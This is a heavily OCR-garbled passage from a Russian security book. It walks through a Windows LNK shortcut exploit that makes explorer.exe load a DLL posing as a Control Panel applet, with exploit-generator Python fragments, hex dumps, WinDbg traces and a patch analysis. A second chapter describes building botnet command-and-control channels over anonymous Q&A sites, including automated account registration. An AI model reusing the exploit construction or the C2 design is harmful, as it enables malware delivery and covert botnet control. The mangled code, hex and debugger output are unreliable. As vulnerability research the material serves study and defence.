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находится в простран с тв е имен « Панели управления » (рис. 2.19). Подробнее 

о пространстве имен читай в MSDN по а д ресу https://docs.microsoft.com/ru­

ru/windows/win32/shell/namespace-intro?redirectedfrom=MSDN. 

Offset (h) 00 02 03 04 05 Об 07 08 09 О А ов ос OD О Е о, 

00000000 00 00 0 1 14 02 00 00 00 00 00 со 00 00 00 L ..••• • •.• •• А .. • 

00000010 00 46 81 00 00 00 00 00 00 00 00 00 0 0 00 . . . ,г .. .... . ... . 
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 . .. . ......... .. .. 
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ····· · ·· · · ·· .. 
00000040 о о • • • • • • • • • __ _. • _ _._p_.J:--·:• 
ООО . , .РаОР к:i. . .+ 
000 ,lem , ... ъ м!к : i . уэ 

00000070 
(;tJIO 20[)04FE,0-3AFA· 106!'·A2D$-08002B30309lJ == Му CompulGr 

.. +оок, . ....... . 
00000080 . .. j ...... . .. . D. 

00000090 ЗА 00 5С 00 74 00 65 00 73 00 74 00 2 Е 00 6 4 00 : . \ .t.e . s . t ... d . 

ООООООАО 6С 00 6С 00 00 00 4D 00 69 00 63 00 72 00 6F 00 1 . 1 . . . м . i . c . r . o . 

00000080 73 00 бF 00 66 00 7 4 00 00 00 00 00 00 00 10 00 s.o. f. t ..... . ... 
оооооосо 00 00 05 00 00 АО 03 00 00 00 28 00 00 00 00 00 ... . ( ..... 
000000D0 00 00 

Рис . 2.18. Первый элемент структуры IDList в ярлыке-эксплоите 

' lliЬ' Hd) · [D:\VttUfiН4'c;Httst.l!\lt} 
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00000030 00 00 00 00 00 00 00 00 00 00 1}0 00 00 00 ...... .... .... .. 
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... j . . . •...... D. 

00000090 : . \ . t.e.s.t ... d . 
OOOOOOAQ 6С 00 00 4D 00 69 00 63 ()Q 72 00 6F 00 1 . 1 ... м.i. c . r . o . 

00000080 73 
OOOOiJOCO 00 
OOOOOODO 00 

~gn1ryEmtor 

f,!e fd,t 11n'I r1vo11tfl ,tjdp 

{21С4СЗ.37-2.Вд 

(Z!C BfilZB•tl\)A• 
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-Af77-0f2610882AD3} 
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БЮО-ООААООЗССАВО} 

{l! dЬJ%).Qбc6. ~1~1} 
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---------------------1 
"" N,m~ т~ O•t• 

1 ~i!Df!f1u\t} REG_S.Z А11 ConuotPand ltf!rru. 
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Рис. 2.19. Второй элемент структуры IDList в ярлыке-эксплоите . 

GUID 21ЕС2020-ЗАЕА-1069-A2DD-08002B30309D 

Дальше на основе пере д анного в качестве аргумента пути до библиотеки генериру­

ется третий э лемент в ШList . В наш е м с луч ае DLL лежит на диске D:. 

119 : generate_ItemID (generate_cpl_applet (path )) , 

Смотрим , что это за функция . 

099 : def generate_cp l_applet(path , name=name) : 

100 : name += Ь ' х ОО ' 



101 : 

102 : 
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path += Ь ' хОО ' 

103 : 

104 : 

105: 

106 : 

107 : 

108: 

109: 

110 : 

Ьindata = [ 

Ь ' х00х00х00х00х00х00х00х00х00х00х00х6ах00х00х00х00х00х00 ', 

struct . pack( ' Н ', len(path)) , 

struct .pack( ' Н ', len(name)) , 

path.encode( ' utf- 16 ' ) [2 : ] , 

name . encode( ' utf-16 ' ) [2 : ] , 

Ь " хООхОО " # cormnent 

Дальше создается секция ExtraData. 

213 : generate_EXTRA_DATA() 

Вот как это выглядит. 

135 : def generate EXTRA_DATA() : 

163 : extra_data = [ 

164 : Ь ' xl0x00x00x00 ', 

165 : Ь ' х05хООх00хАО ' , 

166: Ь ' х03х00х00х00 ', 

167 : 

168 : 

169 : 

Ь ' х28х00х00х00 ', 

0

Ь ' хООхООхООхОО 1 # TERМINAL BLOCK 

Строка 166, как мы помним , - это SpecialFolderIO, и он указывает на то , что объ­

ект находится в специальной папке. И эта папка - «Панель управления» (Ох03 

это CSIOL_CONTROLS, рис . 2.20). 

[ЬЙ a:_plortr.o:~. 5:hortcut.lnk: !iJ tt.st,lnk 

Offset (h) 00 01 02 03 04 05 06 07 08 09 О А 0В ос OD О Е OF 

00000000 4С 00 00 00 01 14 02 00 00 00 00 00 со 00 00 00 L .. .. ...... . А . . . 

00000010 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 . . . FГ . .. .. . ..... 

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . ............... 
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .... . .. . .. . ... . . 
00000040 00 00 00 00 00 00 00 00 00 00 00 00 70 00 14 00 . . . •. . ... ... р .. . 
00000050 lF 50 Е О 4F DO 20 ЕА ЗА 69 10 А2 DB 08 00 2В 30 . РаОР к:i.уШ .. +О 
00000060 30 9D 14 00 2Е 80 20 20 ЕС 21 ЕА ЗА 69 10 А2 DD Ок .. . '!\ м!к : i.уЭ 

00000070 08 00 2В 30 30 9D 46 00 00 00 00 00 00 00 00 00 . . + ООк F . ... .... . 
00000080 00 00 00 6А 00 00 00 00 00 00 ос 00 ОА 00 44 00 . . . j . .. .. . . . .. D. 

00000090 ЗА 00 5С 00 74 00 65 00 73 00 74 00 2Е 00 64 00 : . \ . t . e . s . t . . . d . 
ООООООАО 6С 00 6С 00 00 00 4D 00 69 00 63 00 72 00 6F 00 1 . 1 . .. м.i . c . r . o . 

000000В0 73 00 6F 00 66 00 00 00 00 оошв s . o . f . t . ...... Q 
оооооосо ' 1 J 00 00 ; •••••• ••• ( ••• 1 • • 

OOOOOODO 00 00 

~~ 

~~ 

CS I OL _ CONТROLS 

---ОЮ(,~ • ... t,;,;.,_~...,;c-~h,,, ___ ~- >:/'А 

Рис. 2.20. Блок SpecialFolderlD в ярлыке-зксnлоите 
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В строке 167 находится смещение объекта в байтах, указывающее на нашу DLL. 

Оно считаетс я относительно ШList. Так как за путь до библиотеки отвечает третий 

элеме н т, а пере д ним идут два элемент а по О х14 байт , то смещение равн о Ох28 

(рис . 2.21 ). 

HxD - [D:\VisualHack\ test.lnk] 

т file fdit ~earch j{iew Analysis ~ras ~ indow I 

Г11 С::: ANSI ~il hex 
L...J I 

.ц') explorer.exe - Shortcut.lnk ~ test.lnk 

O ff з et (h) 00 01 0 2 03 04 05 06 07 03 09 О А ОВ ос OD ОЕ OF 

00000000 -!!С 00 00 00 01 1 4 0 2 00 00 00 00 00 с о 00 00 00 L . ..... .. . . . А ... 

00000010 00 OQ 00 46 ,3 1 00 00 00 00 00 00 00 00 00 00 00 . . . Ft .... ... .... 
00000020 00 00 00 00 00 00 0 0 0 0 00 00 00 00 00 0 0 0 0 00 . . ...... ........ 
0000003 0 0 0 00 00 00 00 00 00 00 00 00 00 ......... .. . . ... 
000000 40 00 00 00 00 00 00 00 00 00 70 

item 1 
. ... .. р . .. 

0000 0050 4F DO 20 ЕА ЗА 69 10 А2 D3 03 .,,i . уШ .. + о 
ас ~~~~, ~ 00 2Е 8 0 20 20 ЕС 21 ЕА ЗА 69 О к .. . Ъ м ! к : i.уЭ 

ос item 2 
,,,,.._.,,,.,,_,. ,,._......,..,,,,._ 

.. + О ОкF . .... . ... 00 00 00 -
ool OOuuuui, u 00 00 00 00 ' ос. 00 О А 00 44 ... j .. . .. ... .. D . 

0000009 0 % А 00 sc -- - . -- -- tl'- !J· -· -- - - ; -, 6 <! 00! : . \ .t.e.э.t ... d . 
~ 

,, 
ОООООО А О 6 С 0 0 бС -. -- . - • _ .} бF 0 0 1 . 1 . .. M.i . c .r. o . 

оооооо в о 6F 00 6 6 0 0 74 00 00 00 00 OQ 0 0 • з . o.f.t .• . ...• r:J 
00000/JCO • • • • • • • !·- · .. . . . . ! · .. .. 1 
00000 0 D0 • [,__,j 

Рис . 2.21 . Смещение относительно структуры IDList указы вае т н а третий элемент 

Дальше э ксплоит просто записывает все сгенерированные да нные в файл ярлыка. 

Вр емя запускать 

Итак , ярлык говорит системе о том , что объект объявляется частью « Панели 

у прав ления» и обрабатывать его нужно особенным образом. « Панель управле­

ния » состоит из компонентов , называемых апплетами Control Panel Applets 

(CPLApplet). По большому счету это обычные DLL, которые имеют расширение 

.ер) и экспортируют функцию CPIApplet. Вот и наша библиотека может спокойно 

сойти за такой апплет , если его правильно препо днести системе . Чем и занимаетс я 

сгенерированный файл LNК. 

В прошлом разделе мы остановились на э тапе парсинга специальной директо рии. 

Давай вернемся к этому процессу у же с реальны м примером. Чтобы разобраться , 

что там происходит , я отряхнул от пыли свой WinDbg. Аттачимся к процессу 

explorer.exe и ставим прерывание на вызов функции _DecodeSpecialFolder 
(рис . 2.22): 

!process О О explo rer.exe 

. process /r / р fff f da016330b7c0 

bu windows_s t orage!CShellLink : :_DecodeSpecia l Folder 

Теперь подключаем флешку к виртуальной машине и попадаем в дебаrrер. Брейк­

пойнт срабо тал . Мы находимся перед вызовом _DecodeSpecialFolder. 
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'~ . к.,;., 'мt:port:50000,tey: 
.. ~-, . . 

' 
00
-• • Wm0Ьg:10д iS063,,\68 АМD64 , д .. 

* . 
... i 

* rf you d;d not intend to break ;пtо the debu~ger, press t he "g" key, then * . pr ess the "Enter" ker, now. тhis message mig t ;mmediately reappear. If ;t . . does , press "g" and 'Ent:er " again. . . . 
********·**************************************-***•*********•*********•*****~* i 
m!D biв reakPoimwithstat:us: 
f f f ff 01 ' 9a5f5a40 се ;т з 

! kd> !process О О expl orer.exe 
PROCESS ffffaa058b983400 

Sess1onrd: i c,d: 02d8 РеЬ : OOf~ Parentcid : Ocd4 
Di rв as e : 017а0000 оЬjесtтаЫ е: fff еб0а44 7 20 7 с0 нandl ecount: 1499, 1 
Image: explorer.exe 

1 
kd> . process / r / р ffff aa058b983400 1 
Impl i ci t process ;s now ffffaa0s"l!'Б983400 
.cache forcedecodeuser done 
Loading user symbols ' 

' . . .. .. . . ........ . . . . . .. . .. . ... . ...... ... .. . ..... ...... .... ..... . 
··· ·· ···· ··· ·· ··········· · ···· ·· ······ · ···· 
Press ct rl-c (cdb, kd, ntsd) or ctrl-break (snndbg) t o abor t symbol loads t hat take t oo long. 
Run •sym noi sy before , reload to track down proЫe ms l oadi ng symbols . 

1 
... . . . . .. . . . . .. .... . . 
. ... ....... . .. . ... .. ..... . ..... . . . ... ... .......... . .. . ... . . . . ... 

kd;·ь~·~;~d;,.:,;~;i~~ag e ! CShellL;n k:: _De cod espec;a1Folder 
br eakpoint 1 redefined 

" i 

< - ....... > ! 

1(0> JЫ I -· .. - ' -
Рис . 2.22. Аттач к процессу explorer.exe и установка брей к -пойнта на _DecodeSpecialFolder 

Потрейсим немножко впере д с п ом ощ ь ю клавиши <F I О > и дойд ем д о ф у нкции 

SНFindDataBlock. Ви д и м, ч то в д анны х и з ШList най д ен б л ок Special­

FolderDataBlock (рис . 2.23). 

0 !!5~t (h) 

00000000 
00000010 
00000020 
00000030 
00000040 
00000050 
00000060 
00000070 
00000080 
00000090 
ОООООО А О 

00000080 
оооооосо 

000000D0 

Hi ANS/ 

00 01 о: оз 04 05 06 07 08 

4 С 00 00 00 01 н 02 00 00 
00 00 00 46 Sl 00 00 00 00 
00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 

00 00 00 00 00 00 00 00 00 
l F 50 Е О 4F DO 20 ЕА З А 69 

30 9D Н 00 :Е 80 20 : о Е С 

08 00 28 30 30 9D 46 00 00 
00 00 00 6 А 00 00 00 00 00 
ЗА 00 :F 00 74 00 65 00 73 
б С 00 6С 00 00 00 '!D 00 69 

09 ОА ов 

00 00 00 
00 00 00 
00 00 00 

00 00 00 
00 00 00 

10 А2 DS 

: 1 ЕА ЗА 

00 00 00 
00 ос 00 
00 7'! 00 

00 63 00 

' !v 

ос 0D 

со 00 
00 00 
00 00 
00 00 
70 00 
os 00 
69 10 
00 00 
О А 00 
ZE 00 
72 00 

О Е OF 

00 00 

00 00 
00 00 

00 00 
н 00 

:в 30 
А: DD 
00 00 
4'! 00 

64 00 
6F 00 

73 00 бF 00 66 00 74 00 00 00 00 00 00 00 • 

rwG+•+WiМ-iME№i •MUiЭ 

Block: BE·D1 Length: 14 

L ..... . . .. . . А ... 

. '.F Г .... . ' ' . . ' . 

· · ·· ··· ··· ····· · 
. .. . . . ... . ..... . 
' ' . ' ' ' ' .. ' . . р ... 

.Ра О Р r.:i.ym . . +о 
Oi<. ,,;, м ! к:i.УЭ 

, . +OOi<F .. , , . .. , , 
,, . j .. .... .. .. D. 
: . / .t . e.э .t ... d. 

1 . 1 .. . M.i. c.r.o . 

.5 . o . .t:.t. · ····· ~ 

ь · ·· .... ( ..... .. 

OYerwritt 

Displ•y format Byte 

00000000 · 0555ос5с оо оо оо оо оо оо оо оо оо оо оо оо оз ьа св 9Ь оо 57 01 вс 

00000000 · 055soc7o [ О 00 00:00 os оо оо а ~ оз оо 00 оо '28 00--00 оо 00 00 00 00 
00000000 · 0555о с 84 оо оо оо оо od Ьа се 9Ь оо 58 01 во оо оо с 5 Ь6 fa 7f оо оо 
0 0 0 0 0000 · 0555ос98 зо 55 7 а 02 оо оо оо оо 41 f 7 79 02 оо оо оо оо of ьа с е 9Ь 

0 0000000 · 0555оса с оо 59 01 88 08 оо оо оо оо оо оо оо со 62 64 о ь оо оо оо оо 
000000 00 · 0 5 55оссо оо оо оо оо оа оо оо оо 09 Ьа ы 9Ь оо 5а 01 88 07 оо оо оо 

00000000 · 0555ocd4 оо оо оо оо во 65 64 оь оо оо оо оо оо оо оо оо оа оо оо оо 
00000000 · 055soce8 оь ьа ьо 9Ь оо 5Ь 01 80 74 оо 65 оо 73 оо 74 оо 2 е оо 64 оо 
00000000 · 0555ocf c 6с оо 6с оо оо оо оо оо оо оо оо оо 15 Ьа Ь6 9Ь оо 5с 01 88 

..... . ' ' ' ''' , .. '.w .. 
' ' .. ' . ... ' ' ' (,' ' '.' . 
. ' .. . . '' 'х. ' ... . . .. ' 

~~~: :: : :~:~: :ьd::::: 
'' .... .. ,.' .. z. ' ' .' . 
..... ed .. .. . . ...... . 
. .. . . [ .. t.e.s.t. .. d. 
1.1 .... ........ .. 

Рис. 2.23. Блок SpecialFolderDataBlock, загруженный в п амять 
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Затем у правление перехо д ит к функции SHCloneSpecialШList , она возвращает 

указатель на стр у к ту р у ITEМIDLIST , которая о т вечает за указанную в Spe­
ciaIFolderDataВiock специ ал ь ну ю папк у (в нашем случае- « Панель управле­

ния », т . к. SpecialFolderШ равен Ох03) . 

Далее читается смещение , по ко т орому можно найти э лемент , содержащий путь до 

DLL. Затем все э то дело пере д ается в ф у нкцию TranslateAiiasWithEvent из той же 

библиотеки window.storage.dll. В ней происхо д и т обработка объекта согласно ука­

з анным в яр л ыке д вум CLSID. Для э того и з реес т ра считывается информация о них . 

Дальше з а д ело бере т ся ф у нкция CControIPanelFolder::ParseDisplayName из 

shell32.dll . Она пытается по лу чи т ь название псев д о э лемента панели управления, 

т . к. мы выдаем нашу биб л и от ек у с калькулятором за него . Потом выполнение пе­

редается к CControlPaneIFolder::_ GetPidlFromAppletld (рис. 2.24). 

• qword pt, - 680'1 
• q"°r d pt r - 6A8h 

1813~1888 hKey • qwrd ptr - 6AOh 
803.ltl888 ppszCaпonical H ane• q eюrd ptr - 69811 
813-1888 uar _690 - word pt r - 69011 

8131tВ888 uar _670 " word p tr - 67011 

8131tl888 SubKE"y " word p tr - -"6611 

813.ltDВBB uar _250 • NOt'd ptr - 25 Uh 

8031$1888 uar - ' •О • qword ptt" - 11Uh 

813-1888 arg_18 • q .ю r d ptr 58h 
803-0888 

• 1883-11888 
• 188311088D 
8 1883it088E 
:11: 1883it088F 

в о u 

push 
push 
push 
push 
push 
push 

push 

l•• 

[ rsp -Э8h + arg_ · 1S J , rbx 
, ьр 

rsi 
r di 

1813-11890 ,12 
• 1803.ltl892 ,1з 

• 1803itl89.lt 

s ub 
,ь р' [ rsp-5D Dh 1 
rsp , 6DOh 

1tou rax, cs :_security_cookie 
xor r ax, rsp 

· 111ou (rbp• 600h• ua,-_ 40), r ax 
111ou r1S, rdx 
,шu r13, rcx 
xor r1.lld, r14d 
lea rdx , [rsp+6D0h• ppszCanonica1HaAe- ] ppszCanonicalнarite 

l ea t'CX, PKEY_Software_Appld ; propkey 
Rou r 8], r 14 

~ u .... • W,n!)t,g:1M1500.A611Al.1064 

33 :00007 а б 90с4б 4с8Ьс0 mov 
0033:0000 7 ff• " bбf90c49 Ьа04010000 rov 
OOЗ3 : 0000 7 ffa ' bбf90c4e 488Ьсе mov 
OOH:0000 7 ffa ' bбf90cS1 e81aSed2ff cal l 
0033:0000 7 fta · bбf90c5б 8bd8 rov 
0033 : 00007ff а . bбf90cS8 488dOdЬlce 2aOO lea 
OOH : 0000 7 ffa " bбf90cSf fflS23fOleOO call 
OOH : 00007ft• · bбf90cбS 488Ь742448 IIOV 

003 3: 00007ft а . Ьбf90сба 8ЬсЗ ФОV 

оон: 00007ft а . Ьбf90сбс 488bSc2440 ,юv 

OOH:0000 7 ffa · bбf90c7l 4883с430 add 
0033 : 0000 7 ffa " bбf90c 7 5 5f р о р 

OOH : 0000 7 ffa " bбf90c:76 сЗ Гt!t 
0033:0000 7 ffa " bбf90c 77 се int 

LL32 (tontroТPм,el F oTifer: ._GetPidll'r 
' . . 

а 690се б 

0033 00007ft а . bбf90c 7 f S? 
0033 00007ffa " bбf90c80 4154 
0033 00007ft а . Ьбf90с82 415 S 
0033 00007ff• . Ьбf90с84 41Sб push 
0033 00007ffa " bбf 90c86 415 7 push 
0033 0000 7 ffa " bбf90c88 488dac2430faffff lea 
оов 00007ffa • Ьбf9 Ос90 4881есdООбОООО sub 
0033 00007ft а . b6f90c97 488Ь05са932а00 IIOV 
ООН 0000 7 ffa " bбf90c9e 48 33с4 хог 
0033 OOOOiff« · bбf90cal 48898Scoosoooo cnov 
0033 00007ffa " Ьбf90 са 8 4c8bfa inov 
0033 00007ft• · Ьбf90саЬ 4с8Ье9 оюv 
l\tH1 IVVV)7ff'=- "hf.f"on~=-"" &.,_11f~ 

rS , rax 
edx ,104h 
rcx,r s i 
SHELL32 ~ Stringccheopyw (00007ft а . ЬбсЬба 70) 

е.Ьх , еах 
rcx, (SHELL32 !ccontгolP anelF o lder:: s_srwт~po rar yд ppidLock (00007ff а · ь 1; 

~~~~~d ~~~E[~:~
4
~~- Re 1 e as eSR WLockshaгe d (00007ff а · Ы17f с88 ) ] 

еах , еЬх 

rbx , q-.,.'Ord рtг [гsp+40h] 

rsp, ЗОh 
rdi 

ГSl 

rdi 
r12 
г13 

r14 
r1 S 
гЬр , [rsp- SOOh] 

rsp , бOOh 

гax,q wor d ptr [SHELL32!_s ecuri ty_cookie (ОООО 7 ffа ' Ы2За068)] 
г а х, гsр 

qword ptr [rbJ>+SCOh] ,гах 
rlS , rdx 
rlЗ,rcx 
r-14'4 r1J..-i 

Рис. 2.24. Выполнение на этапе вызова функции _GetPidlFromAppletld 
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Функция читает название аппле т а из эл емента Itemill . Эксплоит использует строку 

«Microsoft», но там , по сути , может быть что у го д но: 

099 : def ge ner ate_cpl_ a pplet (path , name =name ) : 

100 : name+=b ' x00 ' 

17 4 : def ms shllink (pat h , name=b "Mic r osoft " ) 

Для получения д альнейши х све д ений об апплете система д олжна загрузить его. Это 

приводит нас к ф у нкции CPL_LoadCPLModule (рис. 2.25). 

~ 11 

===r----:;;;;-.1,n,,r--------------'· ~"""-. ;· ~­
ЬуtО1111н [ru).1,1 
•dж,X:h 

ro,[rt>p-7~] 
;?:~'} .. ~tr [5НHL)21_1ep_S'tr(h.-W (0000:f't• b71; f.6i)) 

SHttLJl ' CCurrtrQlP'ilnttFo1d•r: :_Ge'tl•idli:-r.-ppl e t 1d•0-"1 4f (00007ff • b б fi< 

.,.:,r-d1:it1• [r•жJ.rJ.tw 
r&<:1,eS; 

t!~:f;!~~LL1 2 !_111!pJHlr:JtpN>dtrtvirurw.ntИriПQ li 1', ' (00007 ff1o ' Ыl> f9 20: 
.-а-.:, • а • 

оооооооосооооооооооо 

06~g~~~~~~~gg~gg 
f-f' 01 оо оо 00 оо оо оо оо ео J 9 4" 
<:>СООООООООООООООО<:>000000 
00 10 <1 a fe b5 f ;;7f0000$0 f co• 

;а 000000000000 20 0000000000 

........ ....___....., __ --'1tid+Ox2~b (0000:ff.t. Ьfi fgr 

Рис. 2.25. Отладка эксплоита . Момент вызова функции , загружающей апплет 

Эта функция наконец-то з а г р у жает наш DLL при помощи LoadLibraryW. По­
скольку исполь з уется именно эт а функция , а не ее расширенная версия 

LoadLibraryExW, при з агр уз ке б и б лиотеки выполняется з ашитый в нее пейлоад. 

Процесс запускается в кон т екс т е explorer.exe и , соответственно , получает макси­

мальные во з можные д ля теку щего по л ьзовате л я права (рис. 2.26). 

~1 Pidures 

8 Vidю~ 

~ toc, ID11k. (C:) 

~ GVO n,iv, (t),)K 

,,, fi!б Cunently on the Disc {2) 

@ tm.dl! 

~] iest 

Tvpto 

В: !2!Х:Р 3.;.1 АМ :..!'~•-::tt1v~ с<:~щ ... 

s;:.1'9/EN !0:14 rм Shmti:IA 

м. М · 

,/ 

с 

! В 
·s 

2 

о 

Рис. 2.26. Стек вызова функций до отработки пейлоада и результат его работы -
запущенный калькулятор 
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Можно просмотреть пример рабо т ы эксплоита на видеоролике по адрес у https:// 
vimeo.com/232014058. 

Кратко о патче 

Разумеется, разработчики не сидели сложа руки и выпустили патч для всех уязви­

мых версий Windows. Это один из самых маленьких фиксов , созданных в Microsoft, 

из всех , что я видел . По сути , добавилась всего одна функция перед вызовом 

CPL_LoadCPLModule (рис . 2.27). 

1 11\QV 

Z l ea 

3. .l e a 
f,'<:411 

N,_ln~d~;~;~;:~:~::~1;::::;,~~~~l~~e,,v1:·v•71!t~ 1 
• mo• rb•. rax 

.z::8d , e.si 

rdz, [ rbp..-600h+ Yar_2.51' } 

r:x , [ rk:p ... fi00h"va r 010 } 

с:,: _ ia.p _ m:.!:z pdr..d!:;.:v 1 r.>г~ntStr~ ngn:l'i 

18034.0DF4 
"' • , · •iped _ lo.t.16 "' 

patched 

• "=~~~~~,=,$е;~~:п'~с о ~=~•а' 

rbx , rax 

Рис. 2.27. Изменения в библиотеке shell32 .dll после патча 

Это функция _IsRegisteredCPLApplet. Она проверяет , зарегистрирован ли соответ­

ствующий апплет в панели управления, и если нет, то загрузка DLL отменяется. 
Вот как выглядит diff кода : http://www.mergely.com/e4g1VDBV/. Будем надеяться , 

что с четвертого раза у Microsoft все получилось как надо! 

Выводы 

В заключение хочется сказать : не всегда бессмысленно проверять то , что уже было 

исследовано до тебя . И , как показывает наглядный пример с этой уязвимостью , 

даже если выпущен патч - это совсем не повод опускать р у ки и считать, что баг 

устранен окончательно. 
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3. Разбираем метод общения малвари 

с управляющим сервером 

через анонимные сервисы 

вопросов и ответов 

Герман Наместников 

Создание анонимного двустороннего канала связи - постоянная головна я боль дл я 

создателей вре до носног о ПО. В этой главе мы на примерах разберем , как сервисы, 

разработчики которых исполь зуют не достато чно сильную за щит у, могут превра­

титься в такой канал . 

Как только не изворачиваю тся злоумышленники, чтобы скрытно передавать да н­

ные между малварью и командным центром (С&С , или , как их тепер ь модно назы­

вать на военный лад, С2). Сторонние сервисы здесь за частую представляются 

самым уд обным вариан том. В ход идут твиты , коммиты на GitHub или отдельн ые 

репози то рии ; даже ко мменты к видео на YouTube могут оказаться тайными посла­

ниями между машинами . Исполь зова ние таких сервисов открывает для операто ра 

ботнета новые во змож н ости. В частности , он может не беспокоиться о смене адре ­

сов управляющих серверов - достато чно просто оставить твит, в приложенной 

к которому картинке будет содержаться актуальная информация. 

У одностороннего канала связи есть свои недостатки . Во-первых , такого бота легче 

выявить по образцу трафика. Во-вторых , аккаунт на сервисе могут заблоки рова т ь 

или он может попасть в поле зрения иссле до вателей. Это сильно затруднит дал ь­

нейшие операции. Создание безопасного двустороннего канала связи с использова­

нием сторонних сервисов - задача нетривиальная . Если н е прибегать к каким-либо 

хакам, то все , что можно пре дпри ня ть в таком случае , - это раз д ать ботам у ч ет ные 

данные , которые те будут исполь зо вать для связи с командным сервером. То есть 

построить что-то вро де схемы, показанной на рис . 3 .1. 

Этот вариант накла д ыва ет целый ря д ограничений на проводимые операции . Так, 

необходимо обеспечить боту возможность оперативно обновлять у четные да нные 

от сервиса , если старые забло кир уют. Это не так сложно организовать с помощью 

одностороннего канала связи. Но проблема выходит на новый уровень, когда 

число ботов начинает рас т и . Большое количество зап росов с разных IP к одному 

акка у нту будет как минимум по доз рительным. Можно попытаться замест и след ы , 
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реализовав систему распространения у че тных записей среди ботов - чтобы они 

передавали их друг другу. Это значительно сложнее и создает дополнительные 

статьи рас ходов для киберкриминального бизнеса. 

Но что , если поискать возможность обходиться без учетных записей? В таком слу­

ча е из д иаграммы выше можно было бы уб рать все , что связано с логинами и паро­

лями. И это приводит нас к анонимным сервисам. 

Во12 

Во! 1 

Во12 

Воl 1 
login/password 

~ 
Тhird -p arty сервис 

Q ~ 
Во!N 

Рис . 3.1. Вариант связи ботнета с командным сер вером 

Опера т ор и/или 

С&С-сервер 

Анонимные сервисы вопросов и ответов 

Один из привлекательны х вариантов - использовать сервисы анонимных вопросов 

и ответов типа Ask.fm, Sprashivai.ru и прочих. Вот почему они так хорошо годятс я 

для по доб ных це лей: 

□ они работаю т по НТТР и как минимум поддерживают HTTPS; 

□ адреса сервисов анонимных вопросов и ответов известны вендорам security­

peшeний и присутствуют в белых списках модулей Application Control & URL 

Fi ltering; 

□ разработчикам таких сервисов не интересна безопасность собственных решений , 

а техподдержка пассивна. 

С первыми двумя пунктами все понятно . НТТР практически везде разрешен, а 

HTTPS по зволит еще и замаски рова ть обращения к сервису. Что касаетс я 

Application Control и всего такого, то как минимум трафик от ботов будет считаться 

« развлекательным » . Это скорее создаст проблемы дл я сотрудника , на компьютере 

которого работает бот , чем реально приведет к раскрытию. 

В последнем пункте мне довелос ь убедиться лично. В феврале 2017 года я отпра вил 

сотрудникам техподдержки сервиса Sprashivai.ru информацию о том, что их защи -
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та от спама не работает , а пре д принятые после слива меры безопасности эту самую 

безопасность подрывают. Для меня не стало неожиданностью то , что они пол­

ностью проигнорировали мой репорт. Не думаю , что ситуация с другими сервисами 

кардинально отличается . 

Как именно реализуется двусторонний канал связи на основе таких сервисов? Эту 

задачу можно разбить на д ва эта па : 

1. Формирование устойчивого канала связи для пере да чи дан ных в направлении от 

бота к оператору. 

2. Формирование канала связи для передачи данных от оператора к ботам. 

Начнем по порядку . 

Канал связи «оператор - бот» 

На этом этапе ничего особенно сложного. Большая часть малвари, которая исполь­

зует какие-либо сервисы для обеспечения одностороннего канала связи , работает 

именно по этой схеме . В контексте сервисов вопросов и ответов это реализуется , 

например, следующим образом: 

□ оператор «отвечает» на вопрос и прикладывает к ответу изображение, содержа­

щее в закодированной форме команды для ботов; 

□ бот проверяет , не появились ли новые данные в исполь зуем ом оператором акка-

унте , и выполняет необхо димые действия. 

Здесь есть несколько интересных моментов . Ког да -ниб удь малварь будет обнару ­

жена , и используемый аккаунт раскроют и забл окируют , как бы его ни защищал 

оператор. Поэтому в таких случаях прибегают к механизмам автоматического соз­

д ания учетных записей - эт и механизмы уже хорошо отработаны авторами вредо­

носного ПО и используются для создания доменных имен. 

Это приводит разработчика вре до носа к сле ду ющей пробл ем е: чтобы автоматизи­

ровать регистрацию аккаунтов (да и авторизации тоже) , скорее всего , потребуется 

найти метод обхо д а капчи. Рассмотрим э ти методы на примерах выбранных нами 

сервисов. 

Регистрация 

Sprashivai.ru использует ReCaptcha (рис. 3.2), по э тому для автоматической регист­

рации аккаунтов нужно будет озаботиться обходом такой защиты. 

РОSТ-запрос на регистрацию аккаунта Sprashivai.ru выглядит так , как показано на 

рис . 3.3 . 

Ask.fm же не содержит вообще никакой з ащиты от авторегистрации. Форма реги­

страции не требует ввода капчи , а итоговый за прос имеет ви д, показанный на 

рис . 3.4. 
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Регистрация 

Зарегистрируйтесь быстро с помощью социальных сетей или воспользуйтесь обычной 

регистрацией . 

Логин: xakep_account 

Email: xakep __ accountOmail.com 

П а рол ь : ............. .. 

Вы не робот? 

✓ Яне робот 

Зареrмстрироваться 

Рис . 3.2. Sprashivai.ru использует ReCaptcha 

Request 

IJ~ 4 Params f Headers f Нех ] 

POST / signup/ quick ВТТР / 1 . 1 

Bost: sprashivai . ru 
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Мае OS Х 10.12; rv:57.0) 
Gecko / 20100101 Firefox / 57.0 
Accept: application / json, text / javascript, */ *; q=0.01 
Accept-Language: ru-RO,ru;q=0 . 8,en-0S;q=0.5,en;q=0.3 
Referer: http : // sprashiv ai . ru / signup 
Content-Type : application / x-www-form-urlen coded; charset=OTF-8 
X-Requested-With: XMLBttpRequest 
Content-Length: 432 
Cookie: ym uid=l5 08673 89 2182709891; ga=GAl.2.1243396374.1508673892; 

gid=GA1~2.l533386 7 65 . 1512975753; check=l; 
spr c =e4a4cfc26292Ы795 7 0e5198614cбd82188e4bfl9ae4ddacc3 3 2f3cb678ce4fc; 
JDDI=B AVK E WЗASGSK; ym isad=2; 
usersession=8 7254ea973796f59ebбcf9 7 9afa422al3f58f4c6Ьla28fбc48803al553dd8 
с 7 7 ; gali=btn signup finish 
Conneёtion: clOse -

email=xakep account%40mail.com&username=xakep account&pass=xakep account& 
g-recaptcha:response=OЗA06mBfzZve2NuЗGNGh4jZYSV v eOb S RtuOtBe_JkSltYBkQOaIG 
BnlOEZTCBb-EQBnlS5шFa5XKbRPEhPxcA4pXEK9ins0aEveSCL8zvtns90Jf30IxeNVg-a8NNZ 

9n6B-HLП1NC yH50wh4flXyoQiaC-8sqzaT5oHkВOGr 7 BBbRhrLr -ciWZd2tHe9NihRuLQ4-
f3QpOGIOi216f6rGByrQOF3eBCFhPyV POnOOMB4uhбiO x -SORMЗioOBobFYlMZf Dxn OMYcOB 
